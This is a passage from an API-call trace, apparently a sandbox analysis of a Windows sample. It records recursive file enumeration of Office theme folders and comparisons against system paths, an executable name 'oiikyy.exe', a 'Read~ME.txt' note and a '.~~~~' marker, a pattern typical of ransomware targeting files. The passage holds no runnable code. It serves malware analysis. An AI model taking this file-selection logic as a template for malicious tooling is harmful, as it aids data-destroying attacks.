	[0078.482] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.482] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.483] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.483] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.483] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.483] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.483] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.483] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.483] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.483] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.483] GetCurrentThreadId () returned 0x618
	[0078.483] RtlWakeConditionVariable () returned 0x365f48
	[0078.483] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1
	[0078.483] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="Windows") returned -1
	[0078.483] lstrcmpW (lpString1="PROFILE.ELM", lpString2="oiikyy.exe") returned 1
	[0078.483] StrStrW (lpFirst="PROFILE.ELM", lpSrch=".~~~~") returned 0x0
	[0078.483] lstrcmpW (lpString1="PROFILE.ELM", lpString2="Read~ME.txt") returned -1
	[0078.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.483] GetCurrentThreadId () returned 0x618
	[0078.483] RtlWakeConditionVariable () returned 0x365f48
	[0078.483] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1
	[0078.483] lstrcmpiW (lpString1="PROFILE.INF", lpString2="Windows") returned -1
	[0078.484] lstrcmpW (lpString1="PROFILE.INF", lpString2="oiikyy.exe") returned 1
	[0078.484] StrStrW (lpFirst="PROFILE.INF", lpSrch=".~~~~") returned 0x0
	[0078.484] lstrcmpW (lpString1="PROFILE.INF", lpString2="Read~ME.txt") returned -1
	[0078.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.484] GetCurrentThreadId () returned 0x618
	[0078.484] RtlWakeConditionVariable () returned 0x365f48
	[0078.484] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.484] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.484] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.484] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.484] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5780
	[0078.484] GetCurrentThreadId () returned 0x618
	[0078.484] RtlWakeConditionVariable () returned 0x365f48
	[0078.484] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.484] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.484] GetCurrentThreadId () returned 0x618
	[0078.484] RtlWakeConditionVariable () returned 0x365f48
	[0078.485] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0078.485] lstrcmpiW (lpString1="QUAD", lpString2="Windows") returned -1
	[0078.485] lstrcmpW (lpString1="QUAD", lpString2=".") returned 1
	[0078.485] lstrcmpW (lpString1="QUAD", lpString2="..") returned 1
	[0078.485] lstrcmpW (lpString1="QUAD", lpString2="AppData") returned 1
	[0078.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD", lpSrch="AppData") returned 0x0
	[0078.485] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.485] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD", lpString2="C:\\Windows") returned -1
	[0078.485] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.485] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD", lpString2="C:\\System Volume Information") returned -1
	[0078.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.496] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.496] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.496] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.496] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.496] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.496] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.496] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.496] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.497] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.497] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.497] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.497] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.497] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.497] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.497] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.497] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.497] GetCurrentThreadId () returned 0x618
	[0078.497] RtlWakeConditionVariable () returned 0x365f48
	[0078.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1
	[0078.497] lstrcmpiW (lpString1="QUAD.ELM", lpString2="Windows") returned -1
	[0078.497] lstrcmpW (lpString1="QUAD.ELM", lpString2="oiikyy.exe") returned 1
	[0078.497] StrStrW (lpFirst="QUAD.ELM", lpSrch=".~~~~") returned 0x0
	[0078.497] lstrcmpW (lpString1="QUAD.ELM", lpString2="Read~ME.txt") returned -1
	[0078.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.497] GetCurrentThreadId () returned 0x618
	[0078.497] RtlWakeConditionVariable () returned 0x365f48
	[0078.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1
	[0078.497] lstrcmpiW (lpString1="QUAD.INF", lpString2="Windows") returned -1
	[0078.497] lstrcmpW (lpString1="QUAD.INF", lpString2="oiikyy.exe") returned 1
	[0078.497] StrStrW (lpFirst="QUAD.INF", lpSrch=".~~~~") returned 0x0
	[0078.498] lstrcmpW (lpString1="QUAD.INF", lpString2="Read~ME.txt") returned -1
	[0078.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.498] GetCurrentThreadId () returned 0x618
	[0078.498] RtlWakeConditionVariable () returned 0x365f48
	[0078.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.498] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.498] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.498] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.498] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.498] GetCurrentThreadId () returned 0x618
	[0078.498] RtlWakeConditionVariable () returned 0x365f48
	[0078.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.498] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.498] GetCurrentThreadId () returned 0x618
	[0078.498] RtlWakeConditionVariable () returned 0x365f48
	[0078.498] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0078.498] lstrcmpiW (lpString1="RADIAL", lpString2="Windows") returned -1
	[0078.498] lstrcmpW (lpString1="RADIAL", lpString2=".") returned 1
	[0078.499] lstrcmpW (lpString1="RADIAL", lpString2="..") returned 1
	[0078.499] lstrcmpW (lpString1="RADIAL", lpString2="AppData") returned 1
	[0078.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL", lpSrch="AppData") returned 0x0
	[0078.499] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.499] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL", lpString2="C:\\Windows") returned -1
	[0078.499] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.499] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL", lpString2="C:\\System Volume Information") returned -1
	[0078.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.513] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.513] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.513] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.513] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.514] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.514] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.514] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.514] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.514] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.514] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.514] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.514] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.514] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.514] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.514] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.514] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.514] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.514] GetCurrentThreadId () returned 0x618
	[0078.514] RtlWakeConditionVariable () returned 0x365f48
	[0078.514] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1
	[0078.514] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="Windows") returned -1
	[0078.514] lstrcmpW (lpString1="RADIAL.ELM", lpString2="oiikyy.exe") returned 1
	[0078.514] StrStrW (lpFirst="RADIAL.ELM", lpSrch=".~~~~") returned 0x0
	[0078.514] lstrcmpW (lpString1="RADIAL.ELM", lpString2="Read~ME.txt") returned -1
	[0078.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.514] GetCurrentThreadId () returned 0x618
	[0078.515] RtlWakeConditionVariable () returned 0x365f48
	[0078.515] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1
	[0078.515] lstrcmpiW (lpString1="RADIAL.INF", lpString2="Windows") returned -1
	[0078.515] lstrcmpW (lpString1="RADIAL.INF", lpString2="oiikyy.exe") returned 1
	[0078.515] StrStrW (lpFirst="RADIAL.INF", lpSrch=".~~~~") returned 0x0
	[0078.515] lstrcmpW (lpString1="RADIAL.INF", lpString2="Read~ME.txt") returned -1
	[0078.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.515] GetCurrentThreadId () returned 0x618
	[0078.515] RtlWakeConditionVariable () returned 0x365f48
	[0078.515] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.515] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.515] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.515] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.515] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.515] GetCurrentThreadId () returned 0x618
	[0078.515] RtlWakeConditionVariable () returned 0x365f48
	[0078.515] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.515] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.516] GetCurrentThreadId () returned 0x618
	[0078.516] RtlWakeConditionVariable () returned 0x365f48
	[0078.516] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0078.516] lstrcmpiW (lpString1="REFINED", lpString2="Windows") returned -1
	[0078.516] lstrcmpW (lpString1="REFINED", lpString2=".") returned 1
	[0078.516] lstrcmpW (lpString1="REFINED", lpString2="..") returned 1
	[0078.516] lstrcmpW (lpString1="REFINED", lpString2="AppData") returned 1
	[0078.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED", lpSrch="AppData") returned 0x0
	[0078.516] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.516] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED", lpString2="C:\\Windows") returned -1
	[0078.516] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.516] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED", lpString2="C:\\System Volume Information") returned -1
	[0078.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.516] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.517] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.517] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.517] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.517] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.517] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.517] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.517] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.517] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.517] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.517] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.517] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
